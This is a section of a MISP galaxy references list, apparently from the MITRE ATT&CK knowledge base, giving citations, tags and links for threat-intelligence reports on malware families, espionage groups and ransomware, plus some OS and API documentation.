Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="ArtOfMemoryForensics"*

STIG Audit Kernel Modules

Unified Compliance Framework. (2016, December 20). The audit system must be configured to audit the loading and unloading of dynamic kernel modules.. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="STIG Audit Kernel Modules"*

Table 23418. Table References

Links
https://www.stigviewer.com/stig/oracle_linux_5/2016-12-20/finding/V-22383

Medium Metamorfo Apr 2020

Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="Medium Metamorfo Apr 2020"*

Table 23419. Table References

Links
https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767

Microsoft Security Blog February 12 2025

Microsoft Threat Intelligence. (2025, February 12). The BadPilot campaign Seashell Blizzard subgroup conducts multiyear global access operation . Retrieved February 21, 2025.

The tag is: *misp-galaxy:references="Microsoft Security Blog February 12 2025"*

Table 23420. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/

Gigamon Berserk Bear October 2021

Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.

The tag is: *misp-galaxy:references="Gigamon Berserk Bear October 2021"*

Table 23421. Table References

Links

https://vblocalhost.com/uploads/VB2021-Slowik.pdf

Kaspersky Emotet Jan 2019

Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Kaspersky Emotet Jan 2019"*

Table 23422. Table References

Links
https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/

CloudSEK March 21 2025

CloudSEK TRIAD. (2025, March 21). The Biggest Supply Chain Hack Of 2025 6M Records Exfiltrated from Oracle Cloud affecting over 140k Tenants . Retrieved March 31, 2025.

The tag is: *misp-galaxy:references="CloudSEK March 21 2025"*

Table 23423. Table References

Links
https://www.cloudsek.com/blog/the-biggest-supply-chain-hack-of-2025-6m-records-for-sale-exfiltrated-from-oracle-cloud-affecting-over-140k-tenants

Symantec Black Vine

DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.

The tag is: *misp-galaxy:references="Symantec Black Vine"*

Table 23424. Table References

Links
https://web.archive.org/web/20170823094836/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf

Group IB GrimAgent July 2021

Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Group IB GrimAgent July 2021"*

Table 23425. Table References

Links
https://www.group-ib.com/blog/grimagent/

RSA Carbanak November 2017

RSA. (2017, November 21). THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT. Retrieved July 29, 2020.

The tag is: *misp-galaxy:references="RSA Carbanak November 2017"*

Table 23426. Table References

Links
https://www.rsa.com/content/dam/en/white-paper/the-carbanak-fin7-syndicate.pdf

Picus Emotet Dec 2018

Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Picus Emotet Dec 2018"*

Table 23427. Table References

Links
https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html

Medium Ali Salem Bumblebee April 2022

Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.

The tag is: *misp-galaxy:references="Medium Ali Salem Bumblebee April 2022"*

Table 23428. Table References

Links
https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056

Avira XWorm April 2023

Gurumoorthi Ramanathan. (2023, April 25). The Claws of Evilcode Gauntlet – XWorm RAT . Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="Avira XWorm April 2023"*

Table 23429. Table References

Links
https://www.avira.com/en/blog/the-claws-of-evilcode-gauntlet-xworm-rat

MSDN COM Elevation

Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.

The tag is: *misp-galaxy:references="MSDN COM Elevation"*

Table 23430. Table References

Links
https://msdn.microsoft.com/en-us/library/ms679687.aspx

Microsoft Component Object Model

Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.

The tag is: *misp-galaxy:references="Microsoft Component Object Model"*

Table 23431. Table References

Links
https://msdn.microsoft.com/library/ms694363.aspx

SANS Conficker

Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021.

The tag is: *misp-galaxy:references="SANS Conficker"*

Table 23432. Table References

Links
https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm

Trellix Darkgate 2023

Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="Trellix Darkgate 2023"*

Table 23433. Table References

Links

https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/

Symantec DDoS October 2014

Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.

The tag is: *misp-galaxy:references="Symantec DDoS October 2014"*

Table 23434. Table References

Links
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf

BlackBerry CostaRicto November 2020

The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.

The tag is: *misp-galaxy:references="BlackBerry CostaRicto November 2020"*

Table 23435. Table References

Links
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

Google Cloud June 4 2025

Google Threat Intelligence Group. (2025, June 4). The Cost of a Call From Voice Phishing to Data Extortion . Retrieved June 8, 2025.

The tag is: *misp-galaxy:references="Google Cloud June 4 2025"*

Table 23436. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/voice-phishing-data-extortion

SpyCloud Phemedrone September 6 2024

James. (2024, September 6). The Curious Case of an Open Source Stealer: Phemedrone. Retrieved October 10, 2024.

The tag is: *misp-galaxy:references="SpyCloud Phemedrone September 6 2024"*

Table 23437. Table References

Links
https://spycloud.com/blog/phemedrone-stealer/

Www.invictus-ir.com 1 31 2024

Www.invictus-ir.com. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved April 17, 2024.

The tag is: *misp-galaxy:references="Www.invictus-ir.com 1 31 2024"*

Table 23438. Table References

Links
https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me

Invictus IR DangerDev 2024

Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.

The tag is: *misp-galaxy:references="Invictus IR DangerDev 2024"*

Table 23439. Table References

Links
https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me

SecureWorks Mia Ash July 2017

Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.

The tag is: *misp-galaxy:references="SecureWorks Mia Ash July 2017"*

Table 23440. Table References

Links
https://www.secureworks.com/research/the-curious-case-of-mia-ash

Trustwave IIS Module 2013

Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.

The tag is: *misp-galaxy:references="Trustwave IIS Module 2013"*

Table 23441. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/

CloudSploit - Unused AWS Regions

CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="CloudSploit - Unused AWS Regions"*

Table 23442. Table References

Links
https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc

Dormann Dangers of VHD 2019

Dormann, W. (2019, September 4). The Dangers of VHD and VHDX Files. Retrieved March 16, 2021.

The tag is: *misp-galaxy:references="Dormann Dangers of VHD 2019"*

Table 23443. Table References

Links
https://insights.sei.cmu.edu/cert/2019/09/the-dangers-of-vhd-and-vhdx-files.html

Kaspersky Darkhotel

Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Kaspersky Darkhotel"*

Table 23444. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf

ESET ForSSHe December 2018

Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.

The tag is: *misp-galaxy:references="ESET ForSSHe December 2018"*

Table 23445. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf

Push notifications - viruspositive

Gaurav Sethi. (2021, December 14). The Dark Side of Web Push Notifications. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="Push notifications - viruspositive"*

Table 23446. Table References

Links
https://viruspositive.com/resources/blogs/the-dark-side-of-web-push-notifications

Zscaler Pikabot 2024

Nikolaos Pantazopoulos. (2024, February 12). The (D)Evolution of Pikabot. Retrieved July 17, 2024.

The tag is: *misp-galaxy:references="Zscaler Pikabot 2024"*

Table 23447. Table References

Links
https://www.zscaler.com/blogs/security-research/d-evolution-pikabot

Zscaler 2 12 2024

Nikolaos Pantazopoulos. (2024, February 12). The (D)Evolution of Pikabot. Retrieved March 12, 2024.

The tag is: *misp-galaxy:references="Zscaler 2 12 2024"*

Table 23448. Table References

Links
https://www.zscaler.com/blogs/security-research/d-evolution-pikabot

Binary Reverse Engineering Blog 9 6 2023

Binary Reverse Engineering Blog. (2023, September 6). The DGA of BumbleBee. Retrieved February 19, 2024.

The tag is: *misp-galaxy:references="Binary Reverse Engineering Blog 9 6 2023"*

Table 23449. Table References

Links
https://bin.re/blog/the-dga-of-bumblebee/

Securelist Dropping Elephant

Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="Securelist Dropping Elephant"*

Table 23450. Table References

Links
https://securelist.com/the-dropping-elephant-actor/75328/

F-Secure The Dukes

F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.

The tag is: *misp-galaxy:references="F-Secure The Dukes"*

Table 23451. Table References

Links
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Kaspersky Duqu 2.0

Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.

The tag is: *misp-galaxy:references="Kaspersky Duqu 2.0"*

Table 23452. Table References

Links
https://web.archive.org/web/20150906233433/https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf

Symantec Elderwood Sept 2012

O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Symantec Elderwood Sept 2012"*

Table 23453. Table References

Links
https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf

Kaspersky Turla Aug 2014

Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.

The tag is: *misp-galaxy:references="Kaspersky Turla Aug 2014"*

Table 23454. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf

Kaspersky Turla

Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.

The tag is: *misp-galaxy:references="Kaspersky Turla"*

Table 23455. Table References

Links
https://securelist.com/the-epic-turla-operation/65545/

FireEye EPS Awakens Part 2

Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.

The tag is: *misp-galaxy:references="FireEye EPS Awakens Part 2"*

Table 23456. Table References

Links
https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

Symantec Emotet Jul 2018

Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Symantec Emotet Jul 2018"*

Table 23457. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor

SilentBreak Offensive PS Dec 2015

Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.

The tag is: *misp-galaxy:references="SilentBreak Offensive PS Dec 2015"*

Table 23458. Table References

Links
https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/

CrowdStrike Evolution of Pinchy Spider July 2021

Meyers, Adam. (2021, July 6). The Evolution of PINCHY SPIDER from GandCrab to REvil. Retrieved March 28, 2023.

The tag is: *misp-galaxy:references="CrowdStrike Evolution of Pinchy Spider July 2021"*

Table 23459. Table References

Links
https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/

VMware Chromeloader September 19 2022

Abe Schneider, Bethany Hardin, Lavine Oluoch . (2022, September 19). The Evolution of the Chromeloader Malware. Retrieved September 26, 2024.

The tag is: *misp-galaxy:references="VMware Chromeloader September 19 2022"*

Table 23460. Table References

Links
https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html

ATT Felismus

Julia Kisielius. (2017, April 25). The Felismus RAT: Powerful Threat, Mysterious Purpose. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="ATT Felismus"*

Table 23461. Table References

Links
https://levelblue.com/blogs/security-essentials/the-felismus-rat-powerful-threat-mysterious-purpose

Proofpoint Ransomware Initial Access June 2021

Selena Larson, Daniel Blackford, Garrett G. (2021, June 16). The First Step: Initial Access Leads to Ransomware. Retrieved January 24, 2024.

The tag is: *misp-galaxy:references="Proofpoint Ransomware Initial Access June 2021"*

Table 23462. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

Microsoft BlackByte 2023

Microsoft Incident Response. (2023, July 6). The five-day job: A BlackByte ransomware intrusion case study. Retrieved December 16, 2024.

The tag is: *misp-galaxy:references="Microsoft BlackByte 2023"*

Table 23463. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/

SOCRadar® Cyber Intelligence Inc. November 3 2023

Cem Sarı. (2023, November 3). The Five Families Hacker Collaboration Redefining the Game - SOCRadar® Cyber Intelligence Inc.. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="SOCRadar® Cyber Intelligence Inc. November 3 2023"*

Table 23464. Table References

Links
https://socradar.io/the-five-families-hacker-collaboration-redefining-the-game/

Kaspersky Flame

Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="Kaspersky Flame"*

Table 23465. Table References

Links
https://securelist.com/the-flame-questions-and-answers-51/34344/

BlackBerry Follina Guide

BlackBerry. (n.d.). The Follina Vulnerability: A Guide. Retrieved January 17, 2025.

The tag is: *misp-galaxy:references="BlackBerry Follina Guide"*

Table 23466. Table References

Links
https://www.blackberry.com/us/en/solutions/endpoint-security/security-vulnerabilities/follina-vulnerability

Unit 42 CARROTBAT November 2018

Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.

The tag is: *misp-galaxy:references="Unit 42 CARROTBAT November 2018"*

Table 23467. Table References

Links
https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/

Palo Alto Gamaredon Feb 2017

Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="Palo Alto Gamaredon Feb 2017"*

Table 23468. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

Chexmarx-seo

Yehuda Gelb. (2023, November 30). The GitHub Black Market: Gaming the Star Ranking Game. Retrieved June 18, 2024.

The tag is: *misp-galaxy:references="Chexmarx-seo"*

Table 23469. Table References

Links
https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7

GNU Acct

GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="GNU Acct"*

Table 23470. Table References

Links
https://www.gnu.org/software/acct/

GLIBC

glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="GLIBC"*

Table 23471. Table References

Links
https://www.gnu.org/software/libc/

Trustwave GoldenSpy June 2020

Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020.

The tag is: *misp-galaxy:references="Trustwave GoldenSpy June 2020"*

Table 23472. Table References

Links
https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/

Proofpoint TA416 Europe March 2022

Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.

The tag is: *misp-galaxy:references="Proofpoint TA416 Europe March 2022"*

Table 23473. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european

Red Canary Gootloader April 2023

Tony Lambert, Lauren Podber. (2023, April 28). The Goot cause: Detecting Gootloader and its follow-on activity. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Red Canary Gootloader April 2023"*

Table 23474. Table References

Links
https://redcanary.com/blog/gootloader/

Unit 42 Gorgon Group Aug 2018

Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.

The tag is: *misp-galaxy:references="Unit 42 Gorgon Group Aug 2018"*

Table 23475. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

SecureWorks Infostealers 2023

SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.

The tag is: *misp-galaxy:references="SecureWorks Infostealers 2023"*

Table 23476. Table References

Links
https://www.secureworks.com/research/the-growing-threat-from-infostealers

Trend Micro HeartBeat Campaign January 2013

Roland Dela Paz. (2003, January 3). The HeartBeat APT Campaign. Retrieved October 17, 2021.

The tag is: *misp-galaxy:references="Trend Micro HeartBeat Campaign January 2013"*

Table 23477. Table References

Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?

FireEye Hikit Rootkit

Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Hikit Rootkit"*

Table 23478. Table References

Links
https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html

FireEye HIKIT Rootkit Part 2

Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye HIKIT Rootkit Part 2"*

Table 23479. Table References

Links
https://web.archive.org/web/20210920172620/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html

Proofpoint Human Factor

Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.

The tag is: *misp-galaxy:references="Proofpoint Human Factor"*

Table 23480. Table References

Links
https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf

TechNet Blogs Credential Protection

Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="TechNet Blogs Credential Protection"*

Table 23481. Table References

Links
https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/

dhs_threat_to_net_devices

U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022.

The tag is: *misp-galaxy:references="dhs_threat_to_net_devices"*

Table 23482. Table References

Links
https://cyber.dhs.gov/assets/report/ar-16-20173.pdf

Triton-EENews-2017

Blake Sobczak. (2019, March 7). The inside story of the world’s most dangerous malware. Retrieved March 25, 2024.

The tag is: *misp-galaxy:references="Triton-EENews-2017"*

Table 23483. Table References

Links
https://www.eenews.net/articles/the-inside-story-of-the-worlds-most-dangerous-malware/

DFIR Proc Bind Mount

DFIR. (2024, May 16). The 'Invisibility Cloak' - Slash-Proc Magic. Retrieved April 11, 2025.

The tag is: *misp-galaxy:references="DFIR Proc Bind Mount"*

Table 23484. Table References

Links
https://dfir.ch/posts/slash-proc/

sentinelone_israel_hamas_war

Hegel, T., Milenkoski, A. (2023, October 24). The Israel-Hamas War | Cyber Domain State-Sponsored Activity of Interest. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="sentinelone_israel_hamas_war"*

Table 23485. Table References

Links
https://web.archive.org/web/20240208234008/www.sentinelone.com/labs/the-israel-hamas-war-cyber-domain-state-sponsored-activity-of-interest/

Lumen J-Magic JAN 2025

Black Lotus Labs. (2025, January 23). The J-Magic Show: Magic Packets and Where to find them. Retrieved February 17, 2025.

The tag is: *misp-galaxy:references="Lumen J-Magic JAN 2025"*

Table 23486. Table References

Links
https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/

Kerberos GNU/Linux

Adepts of 0xCC. (2021, January 28). The Kerberos Credential Thievery Compendium (GNU/Linux). Retrieved September 17, 2024.

The tag is: *misp-galaxy:references="Kerberos GNU/Linux"*

Table 23487. Table References

Links
https://adepts.of0x.cc/kerberos-thievery-linux/

PWC KeyBoys Feb 2017

Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.

The tag is: *misp-galaxy:references="PWC KeyBoys Feb 2017"*

Table 23488. Table References

Links
https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html

Securelist Kimsuky Sept 2013

Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.

The tag is: *misp-galaxy:references="Securelist Kimsuky Sept 2013"*

Table 23489. Table References

Links
https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/

ClearSky Kittens Back 2 Oct 2019

ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021.

The tag is: *misp-galaxy:references="ClearSky Kittens Back 2 Oct 2019"*

Table 23490. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf

ClearSky Kittens Back 3 August 2020

ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.

The tag is: *misp-galaxy:references="ClearSky Kittens Back 3 August 2020"*

Table 23491. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf

Kubernetes API

The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Kubernetes API"*

Table 23492. Table References

Links
https://kubernetes.io/docs/concepts/overview/kubernetes-api/

GitHub LaZange Dec 2018

Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.

The tag is: *misp-galaxy:references="GitHub LaZange Dec 2018"*

Table 23493. Table References

Links
https://github.com/AlessandroZ/LaZagne

GitHub LaZagne Dec 2018

Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.

The tag is: *misp-galaxy:references="GitHub LaZagne Dec 2018"*

Table 23494. Table References

Links
https://github.com/AlessandroZ/LaZagne

Dell P2P ZeuS

SecureWorks. (2012). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.

The tag is: *misp-galaxy:references="Dell P2P ZeuS"*

Table 23495. Table References

Links
https://www.secureworks.com/research/The-Lifecycle-of-Peer-to-Peer-Gameover-ZeuS

Cylera Kwampirs 2022

Pablo Rincón Crespo. (2022, January). The link between Kwampirs (Orangeworm) and Shamoon APTs. Retrieved February 8, 2024.

The tag is: *misp-galaxy:references="Cylera Kwampirs 2022"*

Table 23496. Table References

Links
https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf

Linux Kernel API

Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="Linux Kernel API"*

Table 23497. Table References

Links
https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html

Linux Kernel Programming

Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="Linux Kernel Programming"*

Table 23498. Table References

Links
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf

The DFIR Report Dharma Ransomware June 2020

The DFIR Report. (2020, June 16). The Little Ransomware That Couldn't (Dharma). Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="The DFIR Report Dharma Ransomware June 2020"*

Table 23499. Table References

Links
https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/

Villeneuve 2011

Villeneuve, N., Sancho, D. (2011). THE "LURID" DOWNLOADER. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Villeneuve 2011"*

Table 23500. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf

Proofpoint August 29 2024

Tommy Madjar; Pim Trouerbach; Selena Larson; The Proofpoint Threat Research Team. (2024, August 29). The Malware That Must Not Be Named Suspected Espionage Campaign Delivers â€œVoldemortâ€ . Retrieved August 29, 2024.

The tag is: *misp-galaxy:references="Proofpoint August 29 2024"*

Table 23501. Table References

Links

https://www.proofpoint.com/us/blog/threat-insight/malware-must-not-be-named-suspected-espionage-campaign-delivers-voldemort

Microsoft BlackCat Jun 2022

Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.

The tag is: *misp-galaxy:references="Microsoft BlackCat Jun 2022"*

Table 23502. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

Talos Nyetya MEDoc 2017

Maynor, D., Nikolic, A., Olney, M., and Younan, Y. (2017, July 5). The MeDoc Connection. Retrieved March 26, 2019.

The tag is: *misp-galaxy:references="Talos Nyetya MEDoc 2017"*

Table 23503. Table References

Links
https://blog.talosintelligence.com/2017/07/the-medoc-connection.html

PegasusCitizenLab

Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group's iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.

The tag is: *misp-galaxy:references="PegasusCitizenLab"*

Table 23504. Table References

Links
https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/

Securelist MiniDuke Feb 2013

Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Securelist MiniDuke Feb 2013"*

Table 23505. Table References

Links
https://web.archive.org/web/20170630181406/https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf

Harmj0y SeEnableDelegationPrivilege Right

Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.

The tag is: *misp-galaxy:references="Harmj0y SeEnableDelegationPrivilege Right"*

Table 23506. Table References

Links
https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/

Baumgartner Naikon 2015

Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.

The tag is: *misp-galaxy:references="Baumgartner Naikon 2015"*

Table 23507. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

SentinelLabs Metador Sept 2022

Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.

The tag is: *misp-galaxy:references="SentinelLabs Metador Sept 2022"*

Table 23508. Table References

Links
https://assets.sentinelone.com/sentinellabs22/metador#page=1

